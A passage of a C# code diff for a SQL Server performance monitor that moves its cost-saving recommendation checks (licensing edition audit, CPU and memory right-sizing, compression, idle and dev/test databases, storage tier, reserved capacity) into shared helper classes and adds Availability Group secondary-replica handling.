-                         "(such as Always On availability groups with multiple secondaries) are in use " +
-                         "before considering a downgrade to Standard Edition." + agDowngradeCaveat,
-                EstMonthlySavings = monthlyCost > 0 ? monthlyCost * 0.40m : null
-            });
-        }
-        else if (tdeDbNames.Count == 0)
-        {
-            // Pre-2019: TDE is the only commonly-used feature still restricted to Enterprise since 2016 SP1.
-            recommendations.Add(new RecommendationRow
-            {
-                Category = "Licensing",
-                Severity = "High",
-                Confidence = hasAdvancedAg ? "Medium" : "High",
-                Finding = hasAdvancedAg
-                    ? "Enterprise Edition — review Availability Group requirements before downgrading"
-                    : "Enterprise Edition with no Enterprise-only features detected",
-                Detail = "No databases use Transparent Data Encryption (TDE), the only feature " +
-                         "still restricted to Enterprise Edition since SQL Server 2016 SP1. " +
-                         "Review whether Standard Edition would meet workload requirements for potential license savings." +
-                         agDowngradeCaveat,
-                EstMonthlySavings = monthlyCost > 0 ? monthlyCost * 0.40m : null
-            });
-        }
-        else
-        {
-            recommendations.Add(new RecommendationRow
-            {
-                Category = "Licensing",
-                Severity = "Low",
-                Confidence = "High",
-                Finding = "TDE in use — Enterprise Edition downgrade blocker",
-                Detail = $"The following databases use Transparent Data Encryption: {string.Join(", ", tdeDbNames.Take(20))}" +
-                         (tdeDbNames.Count > 20 ? $" and {tdeDbNames.Count - 20} more" : "") +
-                         ". TDE must be removed before downgrading to Standard Edition."
-            });
-
-            // Check 10: license cost impact estimate (only when features ARE in use).
-            if (cpuCount > 0)
-            {
-                var monthlySavings = cpuCount * 5000m / 12m;
-                recommendations.Add(new RecommendationRow
-                {
-                    Category = "Licensing",
-                    Severity = "Low",
-                    Confidence = "Low",
-                    Finding = $"Enterprise to Standard would save ~${monthlySavings:N0}/mo at list pricing ({cpuCount} cores)",
-                    Detail = "Based on list pricing differential of ~$5,000/core/year between Enterprise and Standard. " +
-                             "Actual savings depend on your licensing agreement. See Enterprise feature audit for downgrade blockers.",
-                    EstMonthlySavings = monthlySavings
-                });
-            }
-        }
-
-        return recommendations;
+        return FinOpsRecommendationFigures.EditionAudit(
+            edition, majorVersion, cpuCount, tdeDbNames, monthlyCost, agReplicaRole, isHadrEnabled)
+            .Select(RecommendationRow.From).ToList();
     }
 
     /// <summary>
@@ -383,32 +158,8 @@ the savings estimates (#980). */
     /// </summary>
     public static RecommendationRow? BuildCompressionRecommendation(IEnumerable<IndexCleanupIndexInput> indexes)
     {
-        var candidates = indexes
-            .Where(i => string.Equals(i.DataCompressionDesc, "NONE", StringComparison.OrdinalIgnoreCase)
-                && (i.ReservedMb ?? 0m) >= 1024m)
-            .OrderByDescending(i => i.ReservedMb ?? 0m)
-            .ToList();
-
-        if (candidates.Count == 0)
-        {
-            return null;
-        }
-
-        var totalGb = candidates.Sum(c => c.ReservedMb ?? 0m) / 1024m;
-        var topItems = candidates.Take(5)
-            .Select(c => $"{c.SchemaName}.{c.TableName} ({(c.ReservedMb ?? 0m) / 1024m:N1}GB)")
-            .ToList();
-
-        return new RecommendationRow
-        {
-            Category = "Storage",
-            Severity = totalGb > 50 ? "High" : totalGb > 10 ? "Medium" : "Low",
-            Confidence = "High",
-            Finding = $"{candidates.Count} uncompressed object(s) >= 1GB ({totalGb:N1}GB total)",
-            Detail = $"Large uncompressed tables/indexes: {string.Join("; ", topItems)}" +
-                     (candidates.Count > 5 ? $" and {candidates.Count - 5} more" : "") +
-                     ". Consider PAGE or ROW compression to reduce storage and improve I/O."
-        };
+        var recommendation = FinOpsRecommendationFigures.Compression(indexes);
+        return recommendation == null ? null : RecommendationRow.From(recommendation);
     }
 
     /// <summary>
@@ -420,23 +171,8 @@ the savings estimates (#980). */
     /// </summary>
     internal static RecommendationRow? BuildCpuRightSizingRecommendation(UtilizationEfficiencyRow? util, decimal monthlyCost)
     {
-        if (util == null || !util.HasCpuSample || util.P95CpuPct >= 30 || util.CpuCount <= 4
-            || util.ProvisioningStatus == ProvisioningVerdict.NotApplicable)
-            return null;
-
-        var targetCores = Math.Max(4, (int)(util.CpuCount * (util.P95CpuPct / 70m)));
-        var savingsPct = 1m - ((decimal)targetCores / util.CpuCount);
-        var cpuNoun = ServerHardwareScope.CpuCoreNoun(util.EngineEdition);
-        return new RecommendationRow
-        {
-            Category = "Compute",
-            Severity = util.P95CpuPct < 15 ? "High" : "Medium",
-            Confidence = "Medium",
-            Finding = $"CPU over-provisioned ({util.CpuCount} {cpuNoun}, P95 = {util.P95CpuPct:N1}%)",
-            Detail = $"P95 CPU utilization is {util.P95CpuPct:N1}% (avg {util.AvgCpuPct:N1}%, max {util.MaxCpuPct}%) across {util.CpuCount} {cpuNoun}. " +
-                     $"Consider reducing to ~{targetCores} {cpuNoun}.",
-            EstMonthlySavings = monthlyCost > 0 ? monthlyCost * savingsPct * 0.60m : null
-        };
+        var recommendation = FinOpsRecommendationFigures.CpuRightSizing(util?.ToDto(), monthlyCost);
+        return recommendation == null ? null : RecommendationRow.From(recommendation);
     }
 
     /// <summary>
@@ -446,439 +182,28 @@ the savings estimates (#980). */
     /// empty tab. <paramref name="monthlyCost"/> is the per-server budget (0 → findings emit with no savings
     /// estimate, mirroring Lite's <c>monthlyCost &gt; 0 ? … : null</c>).
     /// </summary>
-    public async Task<List<RecommendationRow>> GetRecommendationsAsync(int serverId, decimal monthlyCost, CancellationToken cancellationToken = default)
-    {
-        var recommendations = new List<RecommendationRow>();
-        var memoryCutoff = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-7), DateTimeKind.Unspecified);
-
-        // 1. Enterprise feature / license audit (collected server_properties + database_config.is_encrypted).
-        try
-        {
-            var facts = await GetEditionFactsAsync(serverId, cancellationToken);
-            if (facts is { } f)
-            {
-                var isEnterprise = f.Edition.Contains("Enterprise", StringComparison.OrdinalIgnoreCase);
-
-                // TDE is only the deciding factor on pre-2019 Enterprise — read the config snapshot just then.
-                var tdeDbNames = new List<string>();
-                if (isEnterprise && f.MajorVersion < 15)
-                {
-                    var configRows = await GetLatestDatabaseConfigAsync(serverId, cancellationToken: cancellationToken);
-                    tdeDbNames = SelectTdeDatabaseNames(configRows);
-                }
-
-                recommendations.AddRange(
-                    BuildEditionAuditRecommendations(
-                        f.Edition, f.MajorVersion, f.CpuCount, tdeDbNames, monthlyCost, f.AgReplicaRole, f.IsHadrEnabled));
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Enterprise features): {ex.Message}");
-        }
-
-        // 2. CPU right-sizing (collected utilization efficiency).
-        try
-        {
-            var util = await GetUtilizationEfficiencyAsync(serverId, cancellationToken);
-            var cpuRecommendation = BuildCpuRightSizingRecommendation(util, monthlyCost);
-            if (cpuRecommendation != null)
-                recommendations.Add(cpuRecommendation);
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (CPU right-sizing): {ex.Message}");
-        }
-
-        // 3. Memory right-sizing (7-day P95 Total Server Memory vs physical RAM).
-        try
-        {
-            var util = await GetUtilizationEfficiencyAsync(serverId, cancellationToken);
-            /* No memory advice on an Azure SQL Database (engine_edition 5): its memory comes with its service objective
-               and cannot be resized on its own. util.PhysicalMemoryMb is the database's own memory limit there
-               (memory_stats, filled from committed_target_kb), not the host's, so the skip is not about a wrong
-               denominator: there is nothing to resize. Managed Instance (8) and SQL Server are unchanged. */
-            if (util != null && util.PhysicalMemoryMb > 8192
-                && await GetRecommendationEngineEditionAsync(serverId, cancellationToken) != CollectorEngineCapability.AzureSqlDatabaseEngineEdition)
-            {
-                var (p95Mb, sampleCount, window) = await ReadMemoryP95Async(serverId, memoryCutoff, cancellationToken);
-
-                // Need ~16 samples to smooth a single-point anomaly without delaying the recommendation for hours.
-                if (sampleCount >= 16)
-                {
-                    var memRatio = (decimal)p95Mb / util.PhysicalMemoryMb;
-                    var targetMb = Math.Max(8192, p95Mb * 2);
-                    // Compared in the whole GB the text prints, so the advice never reads "of 8GB RAM ... reducing to ~8GB".
-                    if (memRatio < 0.50m && targetMb / 1024 < util.PhysicalMemoryMb / 1024)
-                    {
-                        recommendations.Add(new RecommendationRow
-                        {
-                            Category = "Memory",
-                            Severity = memRatio < 0.30m ? "High" : "Medium",
-                            Confidence = "Medium",
-                            Finding = $"Memory over-provisioned (P95 SQL memory uses {memRatio:P0} of {util.PhysicalMemoryMb / 1024}GB RAM)",
-                            Detail = $"P95 SQL Server memory from {window} is {p95Mb:N0} MB out of {util.PhysicalMemoryMb:N0} MB physical RAM ({memRatio:P0} utilization). " +
-                                     $"Consider reducing to ~{targetMb / 1024}GB.",
-                            EstMonthlySavings = monthlyCost > 0 ? monthlyCost * (1m - (decimal)targetMb / util.PhysicalMemoryMb) * 0.30m : null
-                        });
-                    }
-                }
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Memory right-sizing): {ex.Message}");
-        }
-
-        // 5. Compression candidates (collected index_object_stats snapshot; Lite's check 4 is dropped — Darling
-        //    has native Index Analysis, so the sp_IndexCleanup-existence prompt is obsolete).
-        try
-        {
-            var indexes = await GetIndexCleanupInputsAsync(serverId, cancellationToken);
-            var rec = BuildCompressionRecommendation(indexes);
-            if (rec != null)
-            {
-                recommendations.Add(rec);
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Compression): {ex.Message}");
-        }
-
-        // 6. Dormant database detection with cost impact (collected idle DBs + database sizes).
-        try
-        {
-            /* "No query activity in 7 days" is only true once 7 days of query stats exist: a server enrolled hours
-               ago has not been watched long enough to call any database idle. */
-            var idleDbs = await HasQueryStatsCoverageAsync(serverId, memoryCutoff, cancellationToken)
-                ? await GetIdleDatabasesAsync(serverId, cancellationToken: cancellationToken)
-                : new List<IdleDatabaseRow>();
-            if (idleDbs.Count > 0)
-            {
-                var totalSizeGb = idleDbs.Sum(d => d.TotalSizeMb) / 1024m;
-                var dbNames = string.Join(", ", idleDbs.Take(5).Select(d => d.DatabaseName));
-                var costShare = 0m;
-                if (monthlyCost > 0)
-                {
-                    var allDbSizes = await GetDatabaseSizeLatestAsync(serverId, cancellationToken);
-                    var totalMb = DatabaseSizeRow.AllocatedTotalMb(allDbSizes);
-                    if (totalMb > 0)
-                        costShare = (idleDbs.Sum(d => d.TotalSizeMb) / totalMb) * monthlyCost;
-                }
-
-                recommendations.Add(new RecommendationRow
-                {
-                    Category = "Databases",
-                    Severity = idleDbs.Count >= 3 ? "High" : "Medium",
-                    Confidence = "High",
-                    Finding = $"{idleDbs.Count} idle database(s) consuming {totalSizeGb:N1}GB",
-                    Detail = $"No query activity in 7 days: {dbNames}" +
-                             (idleDbs.Count > 5 ? $" and {idleDbs.Count - 5} more" : "") +
-                             ". Consider archiving or removing these databases.",
-                    EstMonthlySavings = costShare > 0 ? costShare : null
-                });
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Dormant databases): {ex.Message}");
-        }
-
-        // 7. Dev/test workload detection (collected database name list).
-        try
-        {
-            var configRows = await GetLatestDatabaseConfigAsync(serverId, cancellationToken: cancellationToken);
-            var devDbs = MatchDevTestDatabases(configRows.Select(r => r.DatabaseName));
-            if (devDbs.Count > 0)
-            {
-                recommendations.Add(new RecommendationRow
-                {
-                    Category = "Environment",
-                    Severity = "Medium",
-                    Confidence = "Low",
-                    Finding = $"{devDbs.Count} possible dev/test database(s) on production server",
-                    Detail = $"Databases matching dev/test patterns: {string.Join(", ", devDbs.Take(10))}" +
-                             (devDbs.Count > 10 ? $" and {devDbs.Count - 10} more" : "") +
-                             ". If these are non-production workloads, consider moving to a lower-cost tier or separate server."
-                });
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Dev/test detection): {ex.Message}");
-        }
-
-        // 11. Maintenance window efficiency — jobs running long (collected running_jobs).
-        try
-        {
-            await using var command = _dataSource.CreateCommand(RecommendationsMaintenanceWindowSql);
-            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = memoryCutoff });
+    public async Task<List<RecommendationRow>> GetRecommendationsAsync(int serverId, decimal monthlyCost, CancellationToken cancellationToken = default) =>
+        (await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(_dataSource, serverId, monthlyCost, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken: cancellationToken)).Select(RecommendationRow.From).ToList();
 
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            while (await reader.ReadAsync(cancellationToken))
-            {
-                var jobName = reader.IsDBNull(0) ? "" : reader.GetString(0);
-                var avgDuration = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2), CultureInfo.InvariantCulture);
-                var maxDuration = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3), CultureInfo.InvariantCulture);
-                var avgHistorical = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4), CultureInfo.InvariantCulture);
-                var timesLong = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5), CultureInfo.InvariantCulture);
+    /// <summary>The same checks with the databases in <paramref name="secondaryDatabases"/> (a secondary copy on this node) left to the primary's findings (#5558).</summary>
+    public async Task<List<RecommendationRow>> GetRecommendationsAsync(int serverId, decimal monthlyCost, IReadOnlyCollection<string>? secondaryDatabases, CancellationToken cancellationToken = default) =>
+        (await DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(_dataSource, serverId, monthlyCost, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, secondaryDatabases: secondaryDatabases, cancellationToken: cancellationToken)).Select(RecommendationRow.From).ToList();
 
-                recommendations.Add(new RecommendationRow
-                {
-                    Category = "Maintenance",
-                    Severity = timesLong >= 5 ? "Medium" : "Low",
-                    Confidence = "High",
-                    Finding = $"{jobName} ran long {timesLong} times in 7 days",
-                    Detail = $"Average duration: {FormatDuration(avgDuration)}, max: {FormatDuration(maxDuration)}, " +
-                             $"historical average: {FormatDuration(avgHistorical)}. " +
-                             "Review whether this job's schedule or operations need tuning."
-                });
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Maintenance window): {ex.Message}");
-        }
-
-        // 12. VM right-sizing — prescriptive core/memory targets (collected 7-day P95 CPU + memory).
-        try
-        {
-            var vmUtil = await GetUtilizationEfficiencyAsync(serverId, cancellationToken);
-            /* No VM to resize on Azure SQL Database (its cores and memory come with its service objective),
-               and no advice from a window with no CPU sample (its P95 of 0 is not a measurement). */
-            if (vmUtil != null && vmUtil.HasCpuSample
-                && await GetRecommendationEngineEditionAsync(serverId, cancellationToken) != CollectorEngineCapability.AzureSqlDatabaseEngineEdition)
-            {
-                decimal p95Cpu7d = vmUtil.P95CpuPct;
-                var cpuWindow = "recent samples"; // neutral until the 7-day read supplies its own span; the 24-hour fallback has no span of its own
-                int cpuCount = vmUtil.CpuCount;
-                int physMb = vmUtil.PhysicalMemoryMb;
-
-                // Prefer the 7-day P95 CPU; fall back to the 24-hour P95 already on vmUtil.
-                try
-                {
-                    await using var cpuCommand = _dataSource.CreateCommand(RecommendationsCpuP95Sql);
-                    cpuCommand.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-                    cpuCommand.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-                    cpuCommand.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = memoryCutoff });
-
-                    await using var cpuReader = await cpuCommand.ExecuteReaderAsync(cancellationToken);
-                    if (await cpuReader.ReadAsync(cancellationToken) && !cpuReader.IsDBNull(0))
-                    {
-                        p95Cpu7d = Convert.ToDecimal(cpuReader.GetValue(0), CultureInfo.InvariantCulture);
-                        cpuWindow = RightSizingWindow.Describe(cpuReader.IsDBNull(3) ? 0L : Convert.ToInt64(cpuReader.GetValue(3), CultureInfo.InvariantCulture), cpuReader.IsDBNull(1) || cpuReader.IsDBNull(2) ? TimeSpan.Zero : cpuReader.GetDateTime(2) - cpuReader.GetDateTime(1));
-                    }
-                }
-                catch (Exception ex)
-                {
-                    Debug.WriteLine($"Recommendation check (VM right-sizing) 7-day CPU P95 fell back to 24h: {ex.Message}");
-                }
-
-                var (p95MemMb, memSampleCount, memWindow) = await ReadMemoryP95Async(serverId, memoryCutoff, cancellationToken);
-
-                // CPU prescription: only if >= 4 cores.
-                if (cpuCount >= 4)
-                {
-                    int targetCores = 0;
-                    if (p95Cpu7d < 15)
-                        targetCores = Math.Max(2, cpuCount / 4);
-                    else if (p95Cpu7d < 30)
-                        targetCores = Math.Max(2, cpuCount / 2);
-
-                    if (targetCores > 0 && targetCores < cpuCount)
-                    {
-                        recommendations.Add(new RecommendationRow
-                        {
-                            Category = "Hardware",
-                            Severity = "Medium",
-                            Confidence = "Medium",
-                            Finding = $"CPU: reduce from {cpuCount} to {targetCores} cores (P95 CPU {p95Cpu7d:N1}%)",
-                            Detail = $"From {cpuWindow}, P95 CPU utilization was {p95Cpu7d:N1}%. " +
-                                     $"Current allocation of {cpuCount} cores can safely be reduced to {targetCores} cores.",
-                            EstMonthlySavings = monthlyCost > 0
-                                ? monthlyCost * (1m - (decimal)targetCores / cpuCount) * 0.50m
-                                : null
-                        });
-                    }
-                }
-
-                // Memory prescription: needs >= 4 GB physical and a handful of samples.
-                if (physMb >= 4096 && physMb > 0 && memSampleCount >= 16)
-                {
-                    var memRatio = (decimal)p95MemMb / physMb;
-                    int targetMb = 0;
-                    if (memRatio < 0.25m)
-                        targetMb = Math.Max(4096, physMb / 4);
-                    else if (memRatio < 0.40m)
-                        targetMb = Math.Max(4096, physMb / 2);
-
-                    if (targetMb > 0 && targetMb / 1024 < physMb / 1024)
-                    {
-                        recommendations.Add(new RecommendationRow
-                        {
-                            Category = "Hardware",
-                            Severity = "Medium",
-                            Confidence = "Medium",
-                            Finding = $"Memory: reduce from {physMb / 1024}GB to {targetMb / 1024}GB (P95 SQL memory uses {memRatio:P0})",
-                            Detail = $"P95 SQL Server memory from {memWindow} is {p95MemMb:N0} MB of {physMb:N0} MB physical RAM ({memRatio:P0}). " +
-                                     $"Reducing to {targetMb / 1024}GB would still leave headroom.",
-                            EstMonthlySavings = monthlyCost > 0
-                                ? monthlyCost * (1m - (decimal)targetMb / physMb) * 0.30m
-                                : null
-                        });
-                    }
-                }
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (VM right-sizing): {ex.Message}");
-        }
-
-        // 13. Storage tier optimization — databases with low I/O latency (collected file_io_stats).
-        try
-        {
-            var lowLatencyDbs = new List<(string Name, decimal AvgReadMs, decimal AvgWriteMs)>();
-            var storageMin = DateTime.MaxValue;
-            var storageMax = DateTime.MinValue;
-            long storageSamples = 0;
-
-            await using (var command = _dataSource.CreateCommand(RecommendationsStorageTierSql))
-            {
-                command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-                command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-                command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = memoryCutoff });
-
-                await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-                while (await reader.ReadAsync(cancellationToken))
-                {
-                    var dbName = reader.IsDBNull(0) ? "" : reader.GetString(0);
-                    var totalReads = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1), CultureInfo.InvariantCulture);
-                    var totalStallRead = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2), CultureInfo.InvariantCulture);
-                    var totalWrites = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3), CultureInfo.InvariantCulture);
-                    var totalStallWrite = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4), CultureInfo.InvariantCulture);
-
-                    var avgReadMs = totalReads > 0 ? (decimal)totalStallRead / totalReads : 0m;
-                    var avgWriteMs = totalWrites > 0 ? (decimal)totalStallWrite / totalWrites : 0m;
-
-                    if (avgReadMs < 5m && avgWriteMs < 3m)
-                    {
-                        lowLatencyDbs.Add((dbName, avgReadMs, avgWriteMs));
-                        storageSamples += reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7), CultureInfo.InvariantCulture);
-                        if (!reader.IsDBNull(5) && !reader.IsDBNull(6))
-                        {
-                            storageMin = reader.GetDateTime(5) < storageMin ? reader.GetDateTime(5) : storageMin;
-                            storageMax = reader.GetDateTime(6) > storageMax ? reader.GetDateTime(6) : storageMax;
-                        }
-                    }
-                }
-            }
-
-            if (lowLatencyDbs.Count > 0)
-            {
-                var storageWindow = RightSizingWindow.Describe(storageSamples, storageMax > storageMin ? storageMax - storageMin : TimeSpan.Zero);
-                var detail = string.Join("; ", lowLatencyDbs.Take(10)
-                    .Select(d => $"{d.Name} (read {d.AvgReadMs:N1}ms, write {d.AvgWriteMs:N1}ms)"));
-                recommendations.Add(new RecommendationRow
-                {
-                    Category = "Storage",
-                    Severity = "Low",
-                    Confidence = "Medium",
-                    Finding = $"{lowLatencyDbs.Count} database(s) with low IO latency — standard storage may suffice",
-                    Detail = $"These databases have avg read latency under 5ms and write under 3ms across {storageWindow}: {detail}" +
-                             (lowLatencyDbs.Count > 10 ? $" and {lowLatencyDbs.Count - 10} more" : "") +
-                             ". Premium/high-performance storage may not be needed."
-                });
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Storage tier): {ex.Message}");
-        }
-
-        // 14. Reserved capacity candidates — stable CPU utilization (collected cpu_utilization_stats).
-        try
-        {
-            await using var command = _dataSource.CreateCommand(RecommendationsReservedCapacitySql);
-            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = memoryCutoff });
-
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            if (await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0))
-            {
-                var avgCpu = Convert.ToDecimal(reader.GetValue(0), CultureInfo.InvariantCulture);
-                var stddevCpu = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1), CultureInfo.InvariantCulture);
-
-                if (avgCpu > 20 && stddevCpu > 0)
-                {
-                    var cv = stddevCpu / avgCpu;
-                    if (cv < 0.3m)
-                    {
-                        var confidence = cv < 0.15m ? "High" : "Medium";
-                        recommendations.Add(new RecommendationRow
-                        {
-                            Category = "Cloud",
-                            Severity = "Low",
-                            Confidence = confidence,
-                            Finding = $"Stable CPU utilization (avg {avgCpu:N1}%, CV {cv:N2}) — reserved capacity candidate",
-                            Detail = $"CPU utilization is consistently {avgCpu:N1}% with low variance (±{stddevCpu:N1}%). " +
-                                     "Reserved pricing typically saves 30-40% over pay-as-you-go for predictable workloads."
-                        });
-                    }
-                }
-            }
-        }
-        catch (Exception ex)
-        {
-            Debug.WriteLine($"Recommendation check failed (Reserved capacity): {ex.Message}");
-        }
-
-        return recommendations.OrderBy(r => r.SeveritySort).ToList();
-    }
-
-    /// <summary>True once the server's query stats reach back to the start of the 7-day window. The advice text claims 7 days, so the data must cover all 7: the first sample has to be at or before the cutoff, with no slack.</summary>
-    private async Task<bool> HasQueryStatsCoverageAsync(int serverId, DateTime cutoff, CancellationToken cancellationToken)
-    {
-        await using var command = _dataSource.CreateCommand(RecommendationsQueryStatsFirstSampleSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        var first = await command.ExecuteScalarAsync(cancellationToken);
-        return first is DateTime firstSample && firstSample <= cutoff;
-    }
-
-    /// <summary>Reads the 7-day P95 Total Server Memory (MB) + sample count (shared by the memory + VM right-sizing checks).</summary>
-    private async Task<(int P95Mb, long SampleCount, string Window)> ReadMemoryP95Async(int serverId, DateTime cutoff, CancellationToken cancellationToken)
+    /// <summary>
+    /// The recommendations with the databases this node holds only as a secondary copy in an Availability Group left to the
+    /// primary's findings (#5558), plus the one-sentence note for the tab. The set is read from the stored Availability Group
+    /// snapshots and fails open: stale or missing data, a standalone server and Azure SQL Database skip nothing and give no note.
+    /// </summary>
+    public async Task<(List<RecommendationRow> Rows, string? SkippedNote)> GetRecommendationsWithNoteAsync(
+        int serverId, decimal monthlyCost, CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(RecommendationsMemoryP95Sql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        if (await reader.ReadAsync(cancellationToken))
-        {
-            var p95Mb = reader.IsDBNull(0) ? 0 : Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
-            var sampleCount = reader.IsDBNull(1) ? 0L : Convert.ToInt64(reader.GetValue(1), CultureInfo.InvariantCulture);
-            var window = RightSizingWindow.Describe(reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4), CultureInfo.InvariantCulture), reader.IsDBNull(2) || reader.IsDBNull(3) ? TimeSpan.Zero : reader.GetDateTime(3) - reader.GetDateTime(2));
-            return (p95Mb, sampleCount, window);
-        }
-
-        return (0, 0L, RightSizingWindow.Describe(0, TimeSpan.Zero));
+        var secondary = await PgSecondaryReplicaScope.ReadAsync(_dataSource, serverId, DateTime.UtcNow, logger: null, cancellationToken);
+        var rows = await GetRecommendationsAsync(serverId, monthlyCost, secondary, cancellationToken);
+        return (rows, AgReplicaScope.SkippedNote(secondary));
     }
 
     /// <summary>Human-readable duration formatting for the maintenance-window finding (Lite's FinOps FormatDuration, verbatim).</summary>
-    private static string FormatDuration(long seconds)
-    {
-        if (seconds >= 3600)
-            return $"{seconds / 3600}h {(seconds % 3600) / 60}m {seconds % 60}s";
-        if (seconds >= 60)
-            return $"{seconds / 60}m {seconds % 60}s";
-        return $"{seconds}s";
-    }
+    private static string FormatDuration(long seconds) => FinOpsRecommendationFigures.FormatDuration(seconds);
 }
 
 /// <summary>
@@ -895,12 +220,19 @@ public sealed class RecommendationRow
     public string Finding { get; set; } = "";
     public string Detail { get; set; } = "";
     public decimal? EstMonthlySavings { get; set; }
+
+    /// <summary>The savings as text ("$1,500"), or empty with no estimate. The grid binds the number itself (a dash with a tooltip when empty); this is the plain text form.</summary>
     public string EstMonthlySavingsDisplay => EstMonthlySavings.HasValue ? $"${EstMonthlySavings.Value:N0}" : "";
-    public int SeveritySort => Severity switch
+    public int SeveritySort => FinOpsRecommendationFigures.SeveritySort(Severity);
+
+    /// <summary>The viewer row for a Storage recommendation.</summary>
+    public static RecommendationRow From(FinOpsRecommendation r) => new()
     {
-        "High" => 1,
-        "Medium" => 2,
-        "Low" => 3,
-        _ => 4
+        Category = r.Category,
+        Severity = r.Severity,
+        Confidence = r.Confidence,
+        Finding = r.Finding,
+        Detail = r.Detail,
+        EstMonthlySavings = r.EstMonthlySavings
     };
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs
index abc3a4558e..f498963c17 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Storage.cs
@@ -8,12 +8,13 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
-using NpgsqlTypes;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -32,141 +33,36 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// chunk, unconditionally, because nothing in the query lets it exclude any chunk before walking it — the
 /// field measurement was 148 ms of planning against 2.6 ms of execution, over 71 chunks. The single-server
 /// "latest snapshot" reads below (<see cref="GetDatabaseSizeLatestAsync"/>, <see cref="GetDatabaseSizeSummaryAsync"/>,
-/// and <see cref="GetStorageGrowthAsync"/>'s current-size CTE) go through <see cref="GetLatestDatabaseSizeSnapshotAsync"/>
+/// and <see cref="GetStorageGrowthAsync"/>'s current-size CTE) go through <see cref="DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync"/>
 /// instead: a windowed probe the planner CAN bound, read as its own round trip so the snapshot's
 /// <c>collection_time</c> comes back as a literal value the main read can bind an equality to, rather than a
 /// subquery the planner must re-derive per chunk. <see cref="GetStorageGrowthAsync"/>'s 7-day-ago and
-/// 30-day-ago comparison points go through <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/> instead — same
+/// 30-day-ago comparison points go through <see cref="DarlingFinOpsStorageGrowthReader.GetDatabaseSizeSnapshotAtOrBeforeAsync"/> instead — same
 /// two-step shape, but genuinely bounded above, since "at or before a past cutoff" is what they mean. A
 /// *latest* read must not carry that upper bound: nothing should hide a snapshot merely because the collector
 /// host's clock ran ahead of the reader's own <c>DateTime.UtcNow</c> (#4245 follow-up).</para>
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /// <summary>The newest <c>database_size_stats</c> snapshot at or before <paramref name="asOf"/> for one
-    /// server (#4245). A windowed probe first — <c>collection_time</c> bound between <paramref name="asOf"/>
-    /// minus two days and <paramref name="asOf"/>, letting the planner exclude every chunk outside that
-    /// span before it builds a subplan for it — falling back to an unbounded "at or before" probe only when
